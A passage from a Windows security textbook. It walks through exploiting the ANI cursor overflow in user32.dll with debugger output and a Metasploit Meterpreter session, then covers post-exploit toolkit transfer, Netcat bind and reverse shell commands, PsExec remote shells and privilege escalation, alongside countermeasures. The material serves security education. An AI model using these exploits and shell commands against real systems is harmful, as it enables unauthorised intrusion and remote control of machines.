\ninclusion or absence of logic in the new DLL. Look at the bottom of this window, and \nyou’ll see a key that explains the color codings. You can see that blocks colored in peach \nhave no corresponding match between versions. A peach-colored block is staring right at \nyou in the right window pane. This represents logic that is not present in the unpatched \nversion. Let’s check it out by zooming in a bit, as shown in Figure 6-7.\nHere you can see that the additional block is comparing a local variable to 24h. If the \nvalue matches, execution jumps to loc_77D656A0 and off to ReadChunk. If the value \ndoesn’t match, execution falls to loc_77D8504D at the bottom of the graph, which \neffectively returns from the function.\nFigure 6-6 Call graphs of patched and unpatched versions of user32.dll\n" }, { "page_number": 205, "text": "Chapter 6: Discovering and Exploiting Windows Vulnerabilities \n177\nSo what’s it comparing? Let’s crawl up the graph a bit and see if we can figure it out. \nAt loc_77D653F1, we can see that the eax register is being compared to 0x68696E61.\nThis value, represented in ASCII and adjusted for “endianness,” is anih. This is a fairly \nidentifiable string. Let’s see if we can get a couple hints from an actual ANI file as to what \nis going on. We’ve opened C:\\Windows\\Cursors\\aero_busy.ani in a hex editor, as \nshown in Figure 6-8.\nSweetScape’s 010 Editor is great for this type of analysis, as it allows you to quickly create templates \nwith which it will overlay the file contents. When viewing a file, the template is “applied” to the file, \nwhich provides the user with the context of the outline. A template will indicate that the first four bytes \nare the Type, the next four are the Length, and next Length number bytes are the data.\nFigure 6-7 Additional block in patched version\n" }, { "page_number": 206, "text": "178 \nHacking Exposed Windows: Windows Security Secrets & Solutions \nSweet! On the first line you can see the string anih. This code segment is probably \nparsing this portion of the file. Coincidently, the very next byte is 0x24, which coincides \nwith the value the patched version of user32.dll is expecting. Knowing that we had to \nconvert hina to anih due to endianness, we should probably consider doing the same for \n0x24. If you look at the next three bytes, you can see they are all zero. If we adjust \n0x24000000 as we did with hina, we end up with 0x00000024, which remains 0x24.\nWe might be getting someplace. So what’s next? Well, many protocols and data structures \nlean on a format known as Type Length Value (TLV). The first field, the Type, describes the \ndata; the second field, Length, tells how much data there is; and the third field, Value, is the \nactual data referred to by the Type and Length. This may very well be what’s happening. \nTo confirm this, let’s convert 0x24 to decimal 36, count that number of bytes in the file, and \nsee where we end up. We land right in front another potential Type: rate. If we perform \nthe same steps for rate we end up at LIST. If we go in the other direction we can see that \nthe 4 bytes after RIFF, 0x782E0100, represent the Size of its Value, the rest of the file.\nFrom this, we can probably assume that the comparison of 0x24 in the patched \nversion of user32.dll is ensuring that the advertised size of the anih Value is 36 bytes. So \nlet’s copy aero_busy.ani to another directory, change the advertised Size of the anih\nValue to 0xFF, set a breakpoint on LoadAniIcon, browse to the modified file in Explorer, \nand see what happens.\nNothing happens! But if we change the size back to 0x24 we hit the breakpoint. If we \ncontinue in the debugger, we may notice that the icon for aero_busy.ani in Explorer \nchanged from the generic white piece of paper back to the expected aero icon. This \nindicates that Explorer is giving up before it completely loads the icon information from \nour modified cursor.\nHere’s what we have so far:\n• The patch ensures that the ANI header is 36 bytes.\n• If we misrepresent the size of the ANI header, the icon does not load in Explorer.\nFigure 6-8 Hex view of an animated cursor\n" }, { "page_number": 207, "text": "Chapter 6: Discovering and Exploiting Windows Vulnerabilities \n179\n• Based on the disassembly, we know LoadAniIcon will parse anih chunks.\n• If we misrepresent the size of the ANI header, we never hit LoadAniIcon.\nFrom this, we can probably assume that something is validating the size of the ANI \nheader before we actually get to LoadAniIcon. If this is true, why would the patch \nperform a size check as well? Remember when we were attempting to validate our hunch \nthat the anih chunk was a TLV structure, and we encountered other TLV structures as \nwell—rate and LIST. What happens if we change one of these structures to Type anih\nand fib about the size there? Let’s give it a try. I’ve modified aero_busy.ani as shown in \nFigure 6-9.\nIf we refresh Explorer, we hit our breakpoint on LoadAniIcon. This is encouraging! \nNow, let’s continue execution and see what we get.\n(770.c08): Access violation - code c0000005 (first chance)\nFirst chance exceptions are reported before any exception handling.\nThis exception may be expected and handled.\neax=00000000 ebx=05bcda24 ecx=00000000 edx=00000003 esi=5453494c edi=00000000\neip=76badfc8 esp=05bcd8ec ebp=05bcd94c iopl=0 nv up ei pl nz na pe nc\ncs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206\nUSER32!LoadAniIcon+0x2b7:\n76badfc8 ff34be push dword ptr [esi+edi*4] ds:0023:5453494c=????????\nAccess violation in LoadAniIcon! We are definitely on the right track! We can see by the \n???????? in the last line that the address 0x5453494C is pointing to outer space. This \naddress is the result of evaluating esi+edi*4. Since edi is zero, the address is fully \ndependant on esi, which is 0x5453494C. This address looks a lot like ASCII. In the \nsame way 0x68696E61 converted to anih, 0x5453494C converts to LIST. This is a \nfamiliar value, isn’t it? It looks like our modifications allow us to control at least the esi\nregister. From this listing, we see this is a first chance exception. A first chance exception \nrefers to a condition where the debugger stops the application from executing and alerts \nthe person debugging it. This means we have been given control before any exception \nFigure 6-9 Updated aero_busy.ani fi le\n" }, { "page_number": 208, "text": "180 \nHacking Exposed Windows: Windows Security Secrets & Solutions \nhandlers are invoked, including the Structured Exception Handler (SEH). It’s possible \nthat we may have influenced the SEH record as well. We are one short continue away \nfrom finding out.\n(770.c08): Access violation - code c0000005 (first chance)\nFirst chance exceptions are reported before any exception handling.\nThis exception may be expected and handled.\neax=00000000 ebx=00000000 ecx=00000000 edx=7716104d esi=00000000 edi=00000000\neip=00000000 esp=05bcd15c ebp=05bcd17c iopl=0 nv up ei pl zr na pe nc\ncs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246\n00000000 ?? ???\nLooking better! Another access violation! This time it’s because the instruction pointer, \neip, is null (0x00000000). If we look at the call stack we may get a better understanding \nof what happened:\n0:030> k\nChildEBP RetAddr\nWARNING: Frame IP not in any known module. Following frames may be wrong.\n05bcd158 77161039 0x0\n05bcd17c 7716100b ntdll!ExecuteHandler2+0x26\n05bcd224 77160e97 ntdll!ExecuteHandler+0x24\n05bcd224 00000000 ntdll!KiUserExceptionDispatcher+0xf\n05bcd520 77161039 0x0\n05bcd544 7716100b ntdll!ExecuteHandler2+0x26\n05bcd5ec 77160e97 ntdll!ExecuteHandler+0x24\n05bcd5ec 76badfc8 ntdll!KiUserExceptionDispatcher+0xf\n05bcd94c 6e6f6369 USER32!LoadAniIcon+0x2b7\nFrom this, we can determine that we have indeed clobbered the SEH record with zeros. \nThis is excellent news! The next step is to fill up aero_busy.ani with some identifiable \nvalues, as shown in Figure 6-10. This will give us a better understanding of how portions \nof our file influence code execution.\nWe’ve made the following modifications to aero_busy.ani:\n• Changed the advertised Size of the RIFF to 0x88 bytes and truncated the fi le to \nthis length\n• Changed the advertised Size of the second anih Type to 0x60 to match its \nactual length\n• Filled the second anih Type with identifi able data\nIf we save this file and refresh Explorer, we get the following in our debugger:\n(bdc.198): Access violation - code c0000005 (first chance)\nFirst chance exceptions are reported before any exception handling.\nThis exception may be expected and handled.\neax=41414141 ebx=055bda7c ecx=005c05db edx=005c05da esi=055bd9f4 edi=055bd9c0\neip=43434343 esp=055bd9c0 ebp=42424242 iopl=0 nv up ei pl zr na pe nc\ncs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246\n43434343 ?? ???\n" }, { "page_number": 209, "text": "Chapter 6: Discovering and Exploiting Windows Vulnerabilities \n181\nIt keeps getting better. We now fully control three registers: eax, ebp, and the most \nsignificant, eip. By controlling these registers, you can cause Explorer to execute arbitrary \ncode that is embedded within the animated cursor itself. The next section discusses how \nthis issue can be exploited on the Vista platform despite its many security mechanisms \nsuch as Address Space Layout Randomization (ASLR), Data Execution Prevention (DEP), \nand stack cookies (GS).\nExploiting ANI\nAs you are probably aware, Vista comes equipped with a handful of mechanisms that are \ndesigned to prevent the exploitation of vulnerabilities. Of most significance are ASLR, \nDEP, and GS. We discuss these and other security mechanisms in Chapter 12. For now, \nyou should be familiar with the following:\n• ASLR randomizes the location of memory allocations to make it more diffi cult \nfor an attacker to know the location of useful instructions or libraries.\n• Hardware DEP attempts to prevent exploitation by preventing code execution \nat memory locations that have not been explicitly designated executable. \nSoftware DEP protects exception registration records from abuse.\n• GS attempts to prevent exploitation by detecting stack-based buffer overfl ows.\nIn the preceding section, we were able to construct an .ani file that clobbered the \nstack, including the exception registration record. How is this possible in the presence of \nGS and Software DEP? As noted by Alexander, and shown in the following listing, \nLoadAniIcon was not compiled with GS’s protection:\n0:032> u USER32!LoadAniIcon\nUSER32!LoadAniIcon:\n75c05375 8bff mov edi,edi\n75c05377 55 push ebp\n75c05378 8bec mov ebp,esp\nFigure 6-10 ANI fi le fi lled with identifi able data\n" }, { "page_number": 210, "text": "182 \nHacking Exposed Windows: Windows Security Secrets & Solutions \n75c0537a 83ec50 sub esp,50h\n75c0537d 53 push ebx\n75c0537e 8b5d08 mov ebx,dword ptr [ebp+8]\n75c05381 8b03 mov eax,dword ptr [ebx]\n75c05383 56 push esi\nIf GS were enabled, we would see __security_cookie being placed on the stack. See \nChapter 12 for details.\nTo make matters a bit worse, neither Explorer nor Internet Explorer has DEP enabled \nby default. This can be observed by firing up Process Explorer and viewing the Image \ntab for these processes, as shown in Figure 6-11.\nThat leaves us with ASLR. As pointed out by skape of the Metasploit Project, if we \nare able to find useful instructions within the same 16-page block as the return address, \nwe can simply overwrite the two low-order bytes of the return address with their location \nFigure 6-11 Internet Explorer with DEP disabled by default\n" }, { "page_number": 211, "text": "Chapter 6: Discovering and Exploiting Windows Vulnerabilities \n183\nand we’re good. Because GS is a non-factor in this case, we can overwrite the return \naddress in this manner. Given that DEP and GS are disabled for IE and Explorer and, in \nthis instance, we can circumvent the benefits of ASLR, we are left with a fairly typical \nexploit. Let’s see it in action.\nVersion 3 of the Metasploit Framework comes equipped with a spiffy Web 2.0 \ninterface that allows just about anyone to point and click his or her way to remote code \nexecution on an unpatched box. Once Metasploit is installed and running, it takes literally \nfive clicks to have an evil web server waiting to provide an unknowing browser with the \nexploit. And here they are:\n \n1. Click Exploits.\n \n2. Click Windows ANI LoadAniIcon() Chunk Size Stack Overfl ow (HTTP).\n \n3. Click Windows Vista user32.dll 6.0.6000.16386.\n \n4. Click windows/meterpreter/reverse_ord_tcp.\n \n5. Click Exploit after fi lling in LHOST.\nAt this point, Metasploit will provide a URL that, once visited by an unpatched Vista \nbox, will exploit the ANI bug and load up the Meterpreter:\n[*] Started reverse handler\n[*] Using URL: http://192.168.111.1:8080/ykceBiH\n[*] Server started.\n[*] Exploit running as background job.\n[*] Meterpreter session 1 opened (192.168.111.1:4444 -> 192.168.111.132:49162)\n>> sessions -i 1\n[*] Starting interaction with 1...\n>> sysinfo\nComputer: GRIFFIN\nOS : Windows Vista (Build 6000, ).\n>> ls c:\\\nListing: c:\\\n============\nMode Size Type Last modified Name\n---- ---- ---- ------------- ----\n40777/rwxrwxrwx 0 dir Wed Dec 31 16:00:00 -0800 1969 Boot\n40777/rwxrwxrwx 0 dir Wed Dec 31 16:00:00 -0800 1969 Debuggers\n40555/r-xr-xr-x 0 dir Wed Dec 31 16:00:00 -0800 1969 Program Files\n40777/rwxrwxrwx 0 dir Wed Dec 31 16:00:00 -0800 1969 ProgramData\n40555/r-xr-xr-x 0 dir Wed Dec 31 16:00:00 -0800 1969 Users\n40777/rwxrwxrwx 0 dir Wed Dec 31 16:00:00 -0800 1969 Windows\n100777/rwxrwxrwx 24 fil Wed Dec 31 16:00:00 -0800 1969 autoexec.bat\n100444/r--r--r-- 438840 fil Wed Dec 31 16:00:00 -0800 1969 bootmgr\n100666/rw-rw-rw- 10 fil Wed Dec 31 16:00:00 -0800 1969 config.sys\n100666/rw-rw-rw- 1073741824 fil Wed Dec 31 16:00:00 -0800 1969 pagefile.sys\nAs you can see from this output, Metasploit’s ready-made exploit has compromised \nthis system remotely and allowed us to list contents of its C drive. Hopefully, this example \nhas given you some idea of the ease with which Windows vulnerabilities can be exploited \nusing powerful frameworks such as Metasploit.\n" }, { "page_number": 212, "text": "184 \nHacking Exposed Windows: Windows Security Secrets & Solutions \nSUMMARY\nThis chapter illustrates how Windows exploits are discovered and implemented. In \npractice, these techniques (and many more of lesser and greater sophistication) suggest \nthat Windows will always be vulnerable to persistent reverse-engineering, so a \ncombination of conservative system configuration, an ongoing update process for new \nreleases that include features such as ASLR, and an efficient patching program should all \nbe combined to achieve defense-in-depth.\nREFERENCES AND FURTHER READING\nReference\nLocation\nTrike v.1 Methodology Document\nwww.octotrike.org/Trike_v1_Methodology_\nDocument-draft.pdf\nThe STRIDE Threat Model\nhttp://msdn2.microsoft.com/en-us/library/\nms954176.aspx\nMicrosoft Security Bulletin MS07-\n017, “Vulnerabilities in GDI Could \nAllow Remote Code Execution \n(925902)”\nwww.microsoft.com/technet/security/\nBulletin/MS07-017.mspx\nVulnerability Note VU#500753, \n“Microsoft Windows Media \nServices NMSA Session \nDescription Object ActiveX \ncontrol contains dangerous \nmethods”\nwww.kb.cert.org/vuls/id/500753\nMicrosoft Security Bulletin MS07-\n027, “Cumulative Security Update \nfor Internet Explorer (931768)”\nwww.microsoft.com/technet/security/\nbulletin/ms07-027.mspx\nThe Peach Fuzzer Framework\nhttp://peachfuzz.sourceforge.net/\nPackage Peach: Peach Fuzzer docs\nhttp://peachfuzz.sourceforge.net/docs/\nChanges to the WSUSScan.cab fi le\nhttp://support.microsoft.com/kb/924513\nGFlags Remarks\nhttp://technet2.microsoft.com/\nwindowsserver/en/library/e77bf7f8-b9a5-\n48a7-9223-be6fae41393c1033.mspx?mfr=true\n“Exploiting the ANI vulnerability \non Vista”\nhttp://blog.metasploit.com/2007/04/\nexploiting-ani-vulnerability-on-vista.html\n“Windows Animated Cursor Stack \nOverfl ow Vulnerability”\nwww.determina.com/security.research/\nvulnerabilities/ani-header.html\n" }, { "page_number": 213, "text": "185\n7\nPost-Exploit \nPillaging\n" }, { "page_number": 214, "text": "186 \nHacking Exposed Windows: Windows Security Secrets & Solutions \nG\naining access during a network attack is simply not enough for most intruders. \nThey want complete domination and control, and an attacker will not settle for \nsimply gaining user-level privileges on one system. Higher privileges mean \nwider access to information (the actual thing that is protected). Consequently, an attacker \nwill perform many steps to infiltrate your network further and further, making it next to \nimpossible for you to rid it of the attacker without your “invading” the environment \nyourself in a serious way—that is, you need to rebuild numerous systems from scratch \n(using trustworthy backups). The attacker’s post-exploit pillaging phase is fundamental \nto any serious network attack.\nThe following misdeeds can be undertaken by an attacker once he or she gains access \nto your system:\n \n1. Transfer attack toolkit to the target.\n \n2. Escalate privileges (if necessary to achieve administrative rights).\n \n3. Establish remote interactive control.\n \n4. Mine system data.\n \n5. Extract and crack passwords.\n \n6. Rinse and repeat.\nAttackers will also seek to hide their presence using numerous tools and techniques that are discussed \nat length in Chapter 8.\nWe discuss each of these steps in this chapter to show you how to prevent your \nsystems from being used as a jumpstation to other targets in the network.\nTRANSFERRING ATTACKER’S TOOLKIT \nFOR FURTHER DOMINATION\nPerforming simple remote exploits of vulnerable programs or configurations only gives \nthe attacker a presence on the target machine, and if either the target is hardened or \nnative tools are limited, the attacker cannot expand his presence further or gain a foothold \nfor gathering information. In these cases, a suitable toolkit needs to be transferred for \nenumerating, escalating, and expanding his domination of the target. Such tools might \ninclude, but are not limited to, local exploits to raise privileges for further enumeration \nand port redirectors to reach otherwise externally unreachable hosts. It should be noted, \nhowever, that some operating system tools can also be part of the attacker’s toolkit.\nWith privilege escalation, the attacker usually has very limited access to box credential \nstorage or otherwise valuable information stored on that host. Bypassing normal access \ncontrol requires greater privileges. Privilege escalation can be attempted in a number of \nways, for instance, by performing local exploits for vulnerable programs and \nconfigurations. After gaining more privileges, the attacker can ensure presence by \n" }, { "page_number": 215, "text": "Chapter 7: Post-Exploit Pillaging \n187\ninstalling backdoors or rootkits, or he can retrieve information available only for users \nwith greater privileges—which then helps the attacker expand his presence in other \nareas on the network.\nTransferring a Toolkit\nPopularity:\n9\nSimplicity:\n4–7\nImpact:\n9\nRisk Rating:\n9\nRemember that the compromised host is often just the entry point to what the attacker \nis really looking for: sensitive information.\nAfter gaining remote or local code execution possibilities, an attacker typically \ntransfers a toolkit to the target system. Such tools might include, but are not limited to, \npassword extractors, a scripting language (if one does not already exist), and port \nforwarders to help establish a presence on the network.\nThe methods used for transferring data can vary, but they often make use of allowed \nprotocols, such as HyperText Transfer Protocol (HTTP), File Transfer Protocol (FTP), \nDomain Name System (DNS), Simple Mail Transfer Protocol (SMTP), and others. In the \ncase of HTTP/HTTPS/FTP, the attacker can make use of the UrlDownloadToFile\nfunction in urlmon.dll. It is easy for an attacker to write a command-line tool to utilize \nthis API and make an outbound connection through one of the supported protocols after \ngaining access to the system. However, this works only if outbound connections from the \ntarget systems are allowed, and it points out the importance of having control of outbound \nconnectivity. It is interesting to note that the urlmon API also supports situations in \nwhich a proxy has been defined for the normal browsers. Other commands from the \nsystem can also be used, such as FTP.EXE, TFTP.EXE, and so on. Different malwares \nhave been known to use the Background Intelligent Transfer Service (BITS) to download \nfiles from the Internet.\nAs an outbound connection is not always available, the attacker can also use one-\nway connectivity. Typically, this includes transferring the binary code into ASCII format, \ncommonly known as debug scripts, to be fed to debug.exe on the target system. A couple \nof such tools exist and can be found in the “References and Further Reading” section at \nthe end of the chapter.\nFollowing is a snippet of a debug script:\nn #tempf#\nr cx\ne800\nf 0100 ffff 00\ne 0100 4d 5a 90\ne 0104 03\n. . .\n" }, { "page_number": 216, "text": "188 \nHacking Exposed Windows: Windows Security Secrets & Solutions \nSuch a script needs to be fed to the debug executable and then renamed with an .exe \nfile extension, as shown here:\n Debug < script.scr\n ren script.scr nc.exe\nOnce renamed, the tool can be used as normal. One note also for the above example is \nthat it uses a more optimized algorithm to make debug scripts smaller by taking away \nmost common characters from the output, and in compiling the script back to binary \nform, first fills in the common characters and then writes the differences into binary.\nWhen a binary is in ASCII format, any transport method can be used, such as echoing \nthe file through the Tabular Data Stream (TDS) protocol using the xp_cmdshell function \n(disabled by default in Microsoft SQL 2005) or using any script or vulnerability on the \ntarget system, or pasting the file into a Terminal Services session.\nIn addition, the binaries can be packed with runtime packers such as Ultimate Packer \nfor eXecutables (UPX), although today this does not provide as much benefit for an \nattacker as it used to.\nToolkit Transfer Countermeasures\nYou can’t do much to prevent the data transfer, other than harden the access in the first \nplace. If access is gained, accessibility to the system-provided binaries could be restricted \nor removed totally.\nNearly all Windows file transfers used to be done using SYSTEM privileges, both by \nexploiters and automated malware. If SYSTEM access to these tools is restricted, such \nexploits cannot gain a foothold into the system.\nAnother trick is to move binaries that are commonly abused for unauthorized purposes \noutside their normal location and restrict access to approved administrators. For example, \nyou could move %systemroot%\\system32\\debug.exe to another, less common location \nand change access control lists (ACLs) to specific administrative accounts.\nPrivilege Escalation\nPopularity:\n8\nSimplicity:\n5\nImpact:\n10\nRisk Rating:\n8\nAt this point in the assault, assume that the attacker has successfully authenticated to a \nremote Windows system with a valid non-administrative user account and password. This \nis an important foothold for the attacker, but unfortunately (from the attacker’s perspective), \nit can be a limited one. Recall the discussion in Chapter 2 about standard privileges on \nWindows—if you’re not Administrator-equivalent, your access to the system information \nis very limited. To begin pilfering from the compromised machine and the rest of the \nnetwork, the attacker must raise access privileges to a more powerful account status.\n" }, { "page_number": 217, "text": "Chapter 7: Post-Exploit Pillaging \n189\nThe jargon used in the security field to describe this process is privilege escalation \n(sometimes privilege elevation). The term generically describes the process of escalating \nthe capabilities of the current user’s account to that of a more privileged account, typically \na super-user such as Administrator, SYSTEM, or another account with powerful \nprivileges. From a malicious hacker’s perspective, compromising a user account and \nsubsequently exploiting a privilege escalation attack can be easier than finding a remote \nexploit that will grant instantaneous super-user equivalence. In any event, an \nauthenticated attacker will likely have many more options at his or her disposal than an \nunauthenticated one, no matter what privilege level is gained.\nDon’t underestimate the damage that can be done by a normal user, however. During \nprofessional penetration testing engagements, we have occasionally overlooked sensitive \ndata on shares that can be mounted by a compromised user account in our haste to \nescalate to super-user status. Only later, while perusing the compromised system with \nsuper-user privileges, did we realize that we had already found the data we were looking \nfor some time back!\nPrivilege escalation is also a popular form of attack for hackers who already have \naccess to a system, particularly if they have interactive access to a Windows system. \nPicture this scenario: An employee of the company wants to obtain salary information \nabout his peers and attempts to access internal human resources or financial databases \nvia a legitimate Terminal Server connection. Once authenticated, a privilege escalation \nexploit could elevate this user to the level of privilege necessary to query and examine \nsensitive corporate compensation data. While you’re considering this scenario, remember \nthat statistics readily demonstrate that the majority of computer crime is still committed \nby legitimate internal users (employees, contractors, temps, and so on).\nHistorically, numerous well-known privilege escalation vulnerabilities have existed \nin Windows, including the following known bugs exploiting different vectors—here \nshown only as an example for areas that have contained exploitable vulnerabilities:\n• Getadmin\n• Service Control Manager Named Pipe Prediction\n• NetDDE requests run as SYSTEM\n• Debugger authentication fl aws (DebPloit and similar exploits)\nThe public releases of serious privilege escalation exploits have slowed somewhat \nsince the release of Windows XP, and even more so with the release of Windows Vista. \nHowever, that is not an excuse to lower your guard against this debilitating type of attack.\nOne such exploit, the GDI exploit, was published on MOKB-06-11-2006 (Month of \nKernel Bugs; see “References and Further Reading”). This bug has been, until recent \nadvancements in 2007, unreliable to exploit. The bug is in a problem-related global \nshared memory section that is created automatically in any Windows process using \nGraphics Device Interface (GDI) objects. This section is typically mapped read-only, but \nany process can remap it as read-write, thus allowing writes to this section and overwriting \nGDI kernel data structures, causing arbitrary code execution or denial of service (DoS) \nattacks, depending on the exploit and payload. A sample exploit from the MOKB archives \nthat causes DoS and other information can be seen on the MOKB web page. (See \n“References and Further Reading.”)\n" }, { "page_number": 218, "text": "190 \nHacking Exposed Windows: Windows Security Secrets & Solutions \nPrivilege Escalation Countermeasures\nAlong with applying the various patches, you should follow security best practices to \nmitigate risks and prevent intruders from obtaining even low-privileged accounts, which \nmight allow access to information to be protected. The specifics of securing a system \ndepend on the role of the system—for example, whether the system is a public web \nserver or an internal file and print server. However, a few general tactics can be used to \nlimit the effectiveness of privilege escalation attacks:\n• Nearly all Windows privilege escalation exploits to date have required \nan INTERACTIVE logon session to perform the attacks. Thus, restricting the \nINTERACTIVE logon privilege is a key countermeasure against privilege \nescalation. (Don’t forget users who can log in via Terminal Services, which \nis the near-equivalent of INTERACTIVE.) Be especially sensitive to \nservice accounts, which typically are highly privileged but do not require \nINTERACTIVE logon—don’t give access to them!\n• Restrict access to system programs that users do not require, such as cmd.exe. \nWithout access to critical system binaries, an intruder or a malware will be \nsubstantially limited.\n• Use the Restricted Groups feature in Group Policy to prevent accounts from \nbeing added to privileged groups on a Windows domain.\n• Use Software Restriction policies to limit the users’ ability to “hurt” themselves \nand minimize the possibilities for attack. In Windows XP SP2 it is possible to \naccess two new policies by adding the following registry key:\nLevels\"=dword:00031000 to \n[HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows\\Safer\\CodeIdentifiers]\n \nThis gives a fi ne-grained ability to add protection. The following levels can be \nassigned:\n• Disallow Software will not run, regardless of access rights of the user\n• Untrusted Allows programs to execute with access only to resources \ngranted to open well-known groups, blocking access to Administrator \nand Power User privileges and personally granted rights\n• Restricted Software cannot access certain resources, such as cryptographic \nkeys and credentials, regardless of the access rights of the user\n• Basic Users Allows programs to execute as a user that does not have \nAdministrator or Power User access rights, but can still access resources \naccessible by normal users\n• Unrestricted Software access rights are determined by the access rights of \nthe user\n• Audit Windows events to detect malicious behavior. See Chapter 2 for a \ndiscussion of recommended audit settings in Windows.\n" }, { "page_number": 219, "text": "Chapter 7: Post-Exploit Pillaging \n191\n• In Windows Vista local security policy, you can restrict who has privileges to \nperform impersonation.\n• For physical access required steps, set the system to boot from hard disk only, \nand set a proper BIOS password to limit the amount of people who can perform \nthese kinds of steps.\n• With advancements with security event management tools, the ability to notice \ndiscrepancies from normal behaviors has increased. This means gathering \nWindows Event Log data, together with the intrusion detection system/\nintrusion protection system (IDS/IPS), NetFlow, and so on, into one monitoring \nstation and making intelligent analyses without relying on only one source.\nREMOTE INTERACTIVE CONTROL\nRemote interactive control is always the desired next step for the attacker. The attacker \ngains the ability to control a system remotely as if he or she were physically sitting at the \nconsole. In the Windows world, this can be accomplished in one of two ways: through a \ncommand-line interface such as a telnet-like connection, or through a GUI such as those \nfound with Terminal Services or similar third-party remote control products such as \nVirtual Network Computing (VNC).\nAnother opportunity for an attacker is created when users install third-party remote \naccessibility software to their systems, such as GoToMyPC, which offers another venue \nto attack.\nCommand-Line Control\nPopularity:\n10\nSimplicity:\n7\nImpact:\n9\nRisk Rating:\n9\nBelieve it or not, in a galaxy not too far away (the 1990s), many people believed that \nWindows was more secure than UNIX because (get this) “you can’t get a command \nprompt on Windows.” Well, we are here to dispel this myth (if it still exists) officially, and \nto tell you that, as in the UNIX world, command-line control of Windows is very much a \nreality.\nWe’ve used a number of techniques for gaining remote command-line access to \nWindows over our combined years of penetration testing, including the following:\n• Remote.exe (combined with the built-in Windows scheduler, at.exe, to launch it \nremotely at a specifi ed time)\n• Remote Server Setup command (rsetup) from the Windows NT/2000 \nResource Kit\n" }, { "page_number": 220, "text": "192 \nHacking Exposed Windows: Windows Security Secrets & Solutions \n• Wsremote from the Windows 2000 Resource Kit\n• PsExec from Sysinternals\nEach of these tools has its strengths and weaknesses, but our favorites remain Netcat for \nflexibility and PsExec for simplicity (if Windows file and print sharing services are \naccessible on the target system). We describe how to use both of these tools to achieve \ncommand-line remote control next.\nNetcat Console\nThe tool with 1000 different uses, Netcat can be used to gain remote command-line \ncontrol over a system. Two primary techniques exist.\nThe first technique utilizes Netcat in listening mode, which must be run on the target \nserver itself:\nC:\\>nc –L –n –p 2000 –e cmd.exe\nNote that this will require you to follow up with a Netcat connection to the target system \non port 2000:\nC:\\>nc 192.168.0.5 2000\nMicrosoft Windows 2000 [Version 5.00.2195]\n(C) Copyright 1985-1999 Microsoft Corp.\nC:\\>ipconfig\nipconfig\nWindows 2000 IP Configuration\nEthernet adapter Local Area Connection:\n Connection-specific DNS Suffix . :\n IP Address. . . . . . . . . . . . : 192.168.0.5\n Subnet Mask . . . . . . . . . . . : 255.255.255.0\n Default Gateway . . . . . . . . . : 192.168.0.1\nAlso, note that the privilege gained by the Netcat technique is dependent on the privilege \nof the running user (in our case, Administrator):\nC:\\WINDOWS\\system32>whoami\nwhoami\nhe-w2k3\\administrator\nWhen using an interactive Netcat prompt, you will get an echo back of your original command (as \nshown in the preceding code snippet with the command whoami).\n" }, { "page_number": 221, "text": "Chapter 7: Post-Exploit Pillaging \n193\nTo use the second technique, follow these steps:\n \n1. Execute Netcat to send a command shell back to a listening Netcat window. \nFirst you must start a Netcat listener:\nC:\\>nc –l –p 3000 –nvv\n \n2. Now execute the nc command on the remote system to send back the \ncommand shell:\nC:\\>nc –e cmd.exe –n 192.168.0.2 3000\n \n3. Switching back to your Netcat listener now, you should see this:\nlistening on [any] 3000 ...\nconnect to [192.168.0.2] from (UNKNOWN) [192.168.0.5] 2537\nMicrosoft Windows 2000 [Version 5.00.2195]\n(C) Copyright 1985-1999 Microsoft Corp.\nC:\\>\n \n And, once again, a command-line window on the remote system is at your beck \nand call.\nIf you are doing an assignment for a client over “untrusted” networks, it is a good practice to use \nNetcat variants that support cryptography for transport. This is intended mainly to protect customer \ninformation from curious eyes, but it also bypasses intrusion detection, which is not following encrypted \ntraffic.\nPsExec\nWhen run from the command line on a remote attacker’s system (with access to Windows \nfile and print sharing services on the victim machine), PsExec simply runs commands on \nthe remote machine. If you specify cmd.exe as the command, it opens up a remote shell. \nSince it silently installs a service on the remote machine, all of this happens seamlessly \nand transparently to the attacker.\nIn the following example, we first set up an administrative connection with the victim \nserver named 192.168.0.5. (Remember that we know the credentials for an administrative \naccount at this point.)\nC:\\>net use \\\\192.168.0.5\\ipc$ password /u:administrator\nThe command completed successfully.\nThen we run PsExec and launch cmd.exe:\nC:\\>psexec \\\\192.168.0.5 cmd.exe\nPsExec v1.3 - execute processes remotely\nCopyright (C) 2001 Mark Russinovich\nwww.sysinternals.com\n" }, { "page_number": 222, "text": "194 \nHacking Exposed Windows: Windows Security Secrets & Solutions \nMicrosoft Windows [Version 5.2.3790]\n(C) Copyright 1985-2003 Microsoft Corp.\nC:\\WINDOWS\\system32>\nVoila! Remote shell.\nPsExec can also take command-line arguments if you just want to enter the \nadministrator’s credentials all in one fell swoop. Here’s an example:\nC:\\>psexec \\\\192.168.0.5 -u administrator -p password cmd.exe\nUse the –s argument if you want the command run as LocalSystem. (In the last \nexample, simply prepend –s to the cmd.exe argument.)\nPsExec starts the psexecsvc on the target machine, which can be noticed by a savvy \nadministrator. Interestingly, you can kill psexecsvc with no ill effects on your shell, so \nthis could be a way for a hacker to hide his tracks once the shell is up.\nNote that while a remote prompt is thought to be “limited” functionality-wise, the \npower to control a whole system can be gained similarly from the command line in the \nsame way as from graphical interface—for example, by using net commands, netsh, \nregedit, or by dumping the Registry with regedit.\nGraphical Remote Control\nPopularity:\n9\nSimplicity:\n6\nImpact:\n9\nRisk Rating:\n8\nWhile most attackers are content with gaining command-line control over a target, \nfor the true Windows aficionados, this is only half the challenge. The ultimate goal of any \ntrue Windows hacker is to gain complete GUI control over the system, effectively taking \nit over as if he or she were sitting directly at the keyboard of the remote system.\nThe most obvious way to gain a remote GUI is to do so on a system that is already \nhosting services that allow remote control. In Microsoft’s out-of-the-box graphical remote \nadministration functionality, Terminal Services, graphical data is transferred between \nTerminal Services client and server via the Remote Desktop Protocol (RDP), which \noperates over TCP port 3389 by default (although it is fairly trivial to change this port \nusing the configuration published at http://support.microsoft.com/kb/187623). We \ndescribed some tools and techniques for usurping Terminal Services in Chapter 5.\nEven if Terminal Services is not running on the target system, if the attacker has \nremote access to the system, it is possible for him or her to install and start Terminal \nServices (RDP) over WMI remotely. (For more on WMI usage, see “References and \nFurther Reading.”)\n" }, { "page_number": 223, "text": "Chapter 7: Post-Exploit Pillaging \n195\nOne of the best non-native techniques we know of for remote graphical control uses \nVirtual Network Computing (VNC), originally from AT&T Research Laboratories in \nCambridge, England, and now commercialized by RealVNC 